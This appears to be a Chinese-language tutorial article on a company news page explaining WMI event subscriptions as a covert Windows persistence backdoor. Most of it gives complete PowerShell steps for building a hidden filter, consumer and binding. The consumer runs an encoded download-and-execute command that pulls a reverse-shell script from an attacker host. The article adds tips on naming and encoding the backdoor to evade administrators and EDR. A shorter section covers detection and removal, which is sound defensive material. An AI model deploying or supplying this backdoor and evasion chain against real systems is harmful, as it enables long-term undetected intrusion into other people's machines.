ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

WMI事件订阅:Windows内网权限维持的隐蔽后门技术解析

WMI事件订阅:Windows内网权限维持的隐蔽后门技术解析 1. 为什么我选择WMI作为内网权限维持的首选方案在授权的内网渗透测试项目里“拿下一台机器”只是上半场真正的持久战是权限维持。每当我拿到一台服务器的管理员权限第一件事就是评估这台机器适合哪种维持方式启动项、计划任务、服务、注册表Run键……这些方式各有优势但也都各有致命短板。启动项和Run键最容易被杀软盯死计划任务在Server 2012之后归于Task Scheduler便携式化EDR检测脚本一上来就能扫出一堆可疑条目服务则需要写文件、建注册表动静太大注册表Run键更是安全软件的“重点关照对象”。真正让我彻底转向WMI的契机是一次真实的红队项目经历。当时我通过WMI事件订阅在内网一台Windows Server 2016上保留了将近一个半月的访问权限期间管理员多次检查计划任务、启动项、服务列表、甚至注册表Run键都没有发现任何异常。最后是我们自己主动清理才把这个后门摘除。这件事让我坚信WMI就是Windows平台上“存在感最低”的权限维持通道。WMIWindows Management Instrumentation是Windows系统自带的管理框架本身是微软提供的系统管理基础设施。它的优势在于不依赖独立进程、不需要额外文件、不安装服务、不写启动项。所有订阅都存储在WMI仓库中执行时会寄生在系统的WMI Provider Host进程WmiPrvSE.exe里。从管理员的视角看这一切都只是“正常的Windows系统管理活动”。说白了它是把权限维持的后门伪装成了操作系统自己的一部分。另外还有一个很现实的因素主流安全产品对WMI恶意使用的检测能力参差不齐。传统杀软几乎不会扫描WMI仓库内部的对象EDR对WMI事件订阅的告警也主要依赖特定事件ID而默认配置下很多企业的EDR并没有开启WMI活动的完整审计。这就给红队人员留出了一条相对安静的路。2. 权限维持的核心机制三个对象一台戏WMI事件订阅在实现上由三个核心对象组成它们各司其职、缺一不可__EventFilter事件过滤器回答“什么时候触发”。它包含一个WQL查询用于监视系统中的特定事件——时间周期、进程创建、用户登录、服务状态变化等。__EventConsumer事件消费者回答“触发后干什么”。常用的子类有CommandLineEventConsumer执行命令行、ActiveScriptEventConsumer执行脚本、LogFileEventConsumer写日志文件。__FilterToConsumerBinding绑定对象把过滤器和消费者关联起来是整个订阅关系中的“连接线”。这三者都存储在WMI仓库中属于永久订阅Permanent Event Subscription。这意味着即使系统重启订阅依然存在并继续生效。这一点非常关键——它与临时订阅Temporary Subscription有本质区别。临时订阅依赖创建它的进程进程一退出订阅就消失对于权限维持没有任何意义因为目标机器一重启或进程一回收后门就断了。我习惯用一个生活化的比喻来讲这套机制__EventFilter相当于一个闹钟定时器定义每天早上7点响铃__EventConsumer相当于闹钟响后要执行的动作比如自动播放一段音乐__FilterToConsumerBinding则是把定时器绑到播放器上的那根线。只有三样东西都齐了整个机制才能正常运转。2.1 触发器如何优雅地定义“什么时候跑”事件过滤器使用WQLWMI Query Language查询语言语法上和SQL有几分相似。最经典、也最常用的定时触发查询如下SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System AND TargetInstance.SystemUpTime 120这条查询的含义是每60秒WITHIN 60检查一次系统运行时间当Win32_PerfFormattedData_PerfOS_System这个性能计数器实例发生变化且系统开机时间SystemUpTime超过120秒时触发一次事件。为什么要加SystemUpTime 120这个条件因为系统刚启动时各种服务还不稳定过早触发可能导致执行失败留出120秒的缓冲窗口实测能明显提高首轮执行成功率。除了定时触发还有几类在真实场景中非常实用的触发方式我整理成一张表方便对照触发场景WQL查询示例适用情况定时执行SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System AND TargetInstance.SystemUpTime 120每5分钟回连一次适合C2心跳型维持用户登录SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA Win32_Process AND TargetInstance.Name winlogon.exe用户登录时触发适合需要交互场景的后门桌面进程出现SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA Win32_Process AND TargetInstance.Name explorer.exe桌面环境就绪后执行适合交互式后门特定服务停止SELECT * FROM __InstanceModificationEvent WITHIN 30 WHERE TargetInstance ISA Win32_Service AND TargetInstance.Name Spooler AND TargetInstance.State Stopped服务被停止时自动拉起适合守护型脚本这里有一个重要的实操心得Win32_PerfFormattedData_*这类性能计数器类通常按固定时间间隔生成实例更新事件因此拿它做“准定时器”非常稳而且不容易触发基于进程行为的告警。而__InstanceCreationEvent配合Win32_Process是捕捉“进程启动瞬间”的标准手法但要注意进程创建事件在系统繁忙时可能频繁产生建议加TargetInstance.Name条件过滤减少无效触发也降低日志告警量。2.2 消费者触发之后干什么有了触发器下一步就是定义动作。三个常用的消费者子类我分别讲清楚各自的适用场景和坑。CommandLineEventConsumer是最轻量、也最通用的选择。它直接执行一条命令行写法如下CommandLineTemplate powershell.exe -nop -w hidden -enc BASE64_PAYLOAD它适合执行短小精悍的PowerShell命令、下载并执行远程脚本、或者运行一个暂存在内存中的Payload。需要特别注意CommandLineTemplate中的引号转义非常容易出错。嵌套的引号、空格、特殊字符稍有偏差订阅执行时就会静默失败而且不报任何错误。我通常建议把命令简化到极致或者改用Base64编码方式从根本上避免引号地狱。ActiveScriptEventConsumer支持直接在WMI订阅中嵌入VBScript或JScript脚本并能以隐藏窗口方式运行ScriptingEngine VBScript ScriptText CreateObject(\WScript.Shell\).Run \cmd /c whoami C:\\Windows\\Temp\\out.txt\, 0ScriptText中脚本代码写起来比较自由可以包含变量、循环、调用COM对象还能调用WScript.Shell启动隐藏进程。但注意VBScript在字符串内部的引号转义比命令行更绕。我的经验是先在本地VBS文件里把逻辑测通再把脚本内容转成单行字符串嵌入能少踩很多坑。LogFileEventConsumer主要用于把事件消息追加写入一个日志文件。它本身不能直接执行命令但可以当作“记录器”使用配合其他手段实现延迟触发。说实话在真实权限维持场景里我用到它的频率并不高因为功能受限但如果你需要低调地记录某些用户操作的时间点或者配合CommandLineEventConsumer做一条链路记录它反而是不错的选择。2.3 绑定把“触发器”和“消费者”合体__FilterToConsumerBinding是最容易被忽略、但又至关重要的一环。它把前面创建的__EventFilter和__EventConsumer关联起来。创建绑定时的Filter和Consumer属性必须传入前面过滤器和消费者对象的引用而不是名称字符串。这里我见过太多新手踩坑如果把Consumer写成字符串名称系统虽然不报错但订阅根本不会生效每次排查都要花很长时间才能发现。在WMI命名空间中永久订阅通常存放在root\subscription下而事件过滤器监视的事件源一般位于root\cimv2。所以创建过滤器时EventNamespace属性必须显式指定为root/cimv2否则过滤器跑去错误的空间找事件订阅等于白建。3. 手把手实操五分钟建好一个WMI事件订阅下面以一台内网Windows Server 2016为目标已拿到管理员权限演示一套完整的WMI事件订阅流程。我习惯用PowerShell操作因为命令可读性好、排查方便。整个过程只需要三个步骤建过滤器、建消费者、建绑定。3.1 创建事件过滤器打开管理员权限的PowerShell连接到root\subscription命名空间先创建__EventFilter$FilterArgs { EventNamespace root/cimv2 Name SystemUpTimeFilter Query SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System AND TargetInstance.SystemUpTime 120 QueryLanguage WQL } $Filter New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs解释几个关键参数EventNamespace确定过滤器监视的事件来源命名空间这里是root/cimv2几乎所有系统事件都在这下面。Name订阅名称建议取一个和系统自带WMI过滤器风格接近的名字比如SystemUpTimeFilter、PerfSystemMonitor。千万不要用backdoor、hack、test123这类一眼就有问题的名字。WITHIN 60轮询间隔单位秒。数值越小触发越频繁、被发现的概率越高数值越大心跳越慢、断线容忍窗口越长。我的折中经验是60到300秒之间。3.2 创建事件消费者接着创建CommandLineEventConsumer$ConsumerArgs { Name SystemPerfMonitor CommandLineTemplate powershell.exe -nop -w hidden -enc BASE64_PAYLOAD } $Consumer New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgsBASE64_PAYLOAD需要提前用PowerShell把要执行的脚本编码成Base64。比如要让目标机器回连到攻击机下载并执行一段反弹Shell脚本可以这样生成编码$Payload IEX(New-Object Net.WebClient).DownloadString(http://10.0.2.5/payload.ps1) $Encoded [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Payload)) Write-Output $Encoded把输出的这串Base64粘贴到CommandLineTemplate里即可。使用-enc参数的好处是避免在命令行中出现大量特殊字符减少转义错误也降低被日志明文记录的风险。我个人几乎不会把脚本明文写在命令里——那太容易被管理员在进程列表或日志里一眼识破。3.3 创建绑定把三者关联$BindingArgs { Filter $Filter Consumer $Consumer } New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $BindingArgs创建完成后用下面三行命令验证订阅是否已落地Get-CimInstance -Namespace root/subscription -ClassName __EventFilter | Select-Object Name, Query Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer | Select-Object Name, CommandLineTemplate Get-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding | Select-Object Filter, Consumer如果三条命令都返回刚才创建的对象说明订阅已经成功写入WMI仓库等待触发周期到来即可。整个操作过程不超过两分钟不留任何磁盘文件不启停任何服务。3.4 测试触发是否正常订阅建好后不会立刻执行因为它依赖WMI每隔60秒判断一次触发器条件。如果想快速验证链路是否畅通可以等待下一个60秒周期或者临时把SystemUpTime条件改小。我习惯先观察WmiPrvSE.exe的CPU波动——如果订阅正常到达触发点时WmiPrvSE.exe会短暂出现CPU占用上升同时在攻击机的Web服务器访问日志里能看到目标机的下载请求。如果等了两三个周期还没有回连先别急着怀疑命令写错了按这个顺序排查查看__FilterToConsumerBinding绑定的是对象引用还是误写成了字符串名称确认EventNamespace确实为root/cimv2检查CommandLineTemplate里的Base64是否有换行或隐藏字符用Get-WinEvent -LogName Microsoft-Windows-PowerShell/Operational查看PowerShell日志确认PowerShell进程是否被拉起、脚本是否执行出错。4. 权限维持的变体从“定时炸弹”到“登录即触发”前文的经典定时触发型订阅适用于大部分维持场景但真实项目中不同场景对触发时机的要求差别很大。我把实战中验证过的高频变体单独列出来。4.1 基于时间的“心跳回连”这是红队最常用的C2维持方式。把WITHIN设为300秒、SystemUpTime条件保留消费者执行回连脚本。好处是无论目标是否有人登录、是否有用户活动只要系统在运行就会周期性回连非常适合长期驻留。实测下来300秒5分钟是一个不错的平衡点。低于60秒会增加WMI事件日志量部分EDR会对高频WMI事件告警高于600秒则断线窗口过长一旦现有通道被切断要等较长时间才能恢复通信。4.2 基于登录的“见面即触发”如果需要与用户交互或者只在有人登录时执行可以用__InstanceCreationEvent配合Win32_Process监听winlogon.exe进程SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA Win32_Process AND TargetInstance.Name winlogon.exe这类订阅平时完全静默仅在用户登录的瞬间触发隐蔽性很高。注意WITHIN 15已经是__InstanceCreationEvent轮询间隔的最低限这是WMI引擎自身的限制不是随意设置的值。4.3 基于特定进程的“条件触发”比如目标机器上运维人员经常打开mstsc.exe远程桌面客户端可以监听该进程的创建在它启动的同时执行一段脚本既能实现“有人用远程桌面时同步介入”也能在后续阶段充当“守护者”角色。典型查询SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA Win32_Process AND TargetInstance.Name mstsc.exe这里需要注意一个坑进程创建事件在系统繁忙时会大量产生如果不过滤NameWMI引擎会不断创建事件对象造成WmiPrvSE.exeCPU占用持续偏高反而暴露后门。务必把条件写窄宁可漏触发不可高频触发。4.4 多级订阅组合实现“链条式防御”更高阶一点的做法是把多个WMI订阅串起来。比如A订阅监测到某个进程创建触发B订阅去执行一段脚本脚本再动态创建C订阅……这种链式设计在防御者视角下排查起来非常费劲因为单个订阅看起来都很“正常”但串联起来才是一条完整的攻击链。当然链式设计对稳定性要求极高任何一环触发失败都会导致整条链中断。我的原则是只有当目标环境的业务节奏、触发对象行为都已经摸底清楚之后才考虑这种玩法。常规渗透测试周期内一条“过滤器消费者绑定”的标准链路就已经足够了。5. 检测与防御防守方如何揪出WMI后门聊了这么多攻击侧的思路下面切换视角说说防守方应该如何发现这些订阅。WMI权限维持虽然隐蔽但绝不是无迹可寻。5.1 从日志侧检测Windows对WMI活动有专门的事件通道。最关键的事件ID是5861记录“启用新的WMI永久事件订阅”的行为。当有新的__EventFilter、__EventConsumer、__FilterToConsumerBinding被创建时系统通过Microsoft-Windows-WMI-Activity/Operational日志记录相关事件。快速检查近期是否有新永久订阅产生一条PowerShell命令即可Get-WinEvent -LogName Microsoft-Windows-WMI-Activity/Operational -FilterXPath *[System[EventID5861]] | Select-Object TimeCreated, Message日志内容里重点看ProcessName字段——正常的WMI订阅创建通常由WmiPrvSE.exe或svchost.exe发起如果创建进程是cmd.exe、powershell.exe、wmic.exe、rundll32.exe就需要高度警惕这正是订阅后门最常见的“出身特征”。5.2 从WMI仓库侧审计无论日志怎么记录最终订阅对象都躺在WMI仓库里。直接枚举root\subscription下的对象是排查WMI后门最彻底的手段Get-CimInstance -Namespace root/subscription -ClassName __EventFilter Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer Get-CimInstance -Namespace root/subscription -ClassName ActiveScriptEventConsumer Get-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding防守方可以编写巡检脚本定时把这几个类的对象导出归档对比基线有异常变化就告警。考虑到部分业务本身也依赖WMI做监控建议在基线中主动记录每一台服务器的“合法监控订阅名单”之后凡名单之外的订阅一律视为可疑对象。5.3 主动清理WMI后门的步骤确认某个WMI订阅是恶意的之后清理顺序有讲究先拆绑定再删消费者最后删过滤器。顺序反了可能会残留无效对象虽然不影响安全但会留下排查困惑。# 1. 查找并删除绑定 $binds Get-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding $binds | Where-Object { $_.Consumer -like *SystemPerfMonitor* } | Remove-CimInstance # 2. 删除消费者 Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer | Where-Object { $_.Name -eq SystemPerfMonitor } | Remove-CimInstance # 3. 删除过滤器 Get-CimInstance -Namespace root/subscription -ClassName __EventFilter | Where-Object { $_.Name -eq SystemUpTimeFilter } | Remove-CimInstance注意如果消费者是ActiveScriptEventConsumer删除时需要指定对应的类名如果图省事想按名称批量删除建议先把对象导出备份再操作避免误删正常业务监控。5.4 这类后门的真正软肋经过多次攻防对抗实验可以负责任地说WMI后门最大的弱点不是“查不到”而是“看得见但容易被忽略”。大部分管理员即使看到root\subscription下有订阅对象也很少主动判断是否异常因为WMI本身就承载了大量系统监控任务。反而是那些名字起得像“故障”“测试”“临时”的订阅更容易被一眼盯上。所以给防守方的建议是凡是订阅名称与服务器基线行为无关、或者消费者命令里出现cmd、powershell、enc、http关键词的一律拉响警报。给红队人员的建议则相反命名务必贴合系统风格命令路径和参数尽量复用目标环境中已有的合法程序。6. 常见问题与排查经验速查最后把实战中反复踩过的坑整理成一张速查表方便遇到问题时直接对照。现象可能原因排查手段订阅建好但迟迟不触发EventNamespace写错过滤器去错事件空间检查__EventFilter.EventNamespace是否为root/cimv2绑定创建后订阅无效Filter/Consumer传了字符串而不是对象引用重新创建绑定传入$Filter、$Consumer对象引用命令执行失败但进程有拉起Base64命令里有换行或隐藏字符重新生成编码串去掉换行后再试触发过于频繁导致CPU高WITHIN值太小或过滤条件太宽增大轮询间隔务必加Name类过滤条件删除时提示“找不到对象”消费者类型和删除命令的类名不匹配确认消费者是CommandLineEventConsumer还是ActiveScriptEventConsumerEDR告警WMI活动订阅名或命令含明显恶意关键词改名用系统风格命名回连命令使用-enc编码或直接落盘后加载系统重启后订阅失效创建的是临时订阅依赖进程确认写入root\subscription的永久订阅而非Register-CimIndicationEvent临时订阅还有一个容易忽略的经验New-CimInstance和Set-WmiInstance都能创建订阅但对属性的处理有细微差异。Set-WmiInstance类型容忍度更高但生成的代码可读性差、排查时难定位New-CimInstance更规范配合-ClientSideOnly参数在部分场景下能减少误报。如果你的目标服务器是较老版本的Windows Server且New-CimInstance不可用就改用传统写法$filter Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments { EventNamespace root/cimv2 Name SystemUpTimeFilter QueryLanguage WQL Query SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System AND TargetInstance.SystemUpTime 120 }这里特别提醒一句-Class参数不要写成类名的全限定路径root\subscription:__EventFilter直接写__EventFilter即可否则在部分环境下会报命名空间解析错误。我的几点实在话WMI权限维持这条路我在多个真实项目里都验证过稳定性确实比启动项和计划任务高一大截。它的隐蔽性来源于“寄生”属性不产生独立进程、不写磁盘文件、不需要额外服务所有动作都藏在系统正常管理框架里。但正因如此它对操作者的纪律性要求非常高命名要收敛、命令要精简、触发频率要克制。越是想让它长期生效越要让它看起来像一个正常的系统监控组件。我个人使用WMI权限维持的频率远高于其他方式但这并不意味着它是万能解药。如果目标环境对WMI事件活动做了严格审计或者系统版本较老导致WMI仓库不稳定那就要灵活换其他思路。另外权限维持的“后期卫生”同样重要任务结束后清理删除订阅不只是为了避免被追踪更是专业红队人员对授权环境应尽的职责。一个能在进场时不动声色、退场时干干净净的操作者才算真正把这一技术吃透了。
返回列表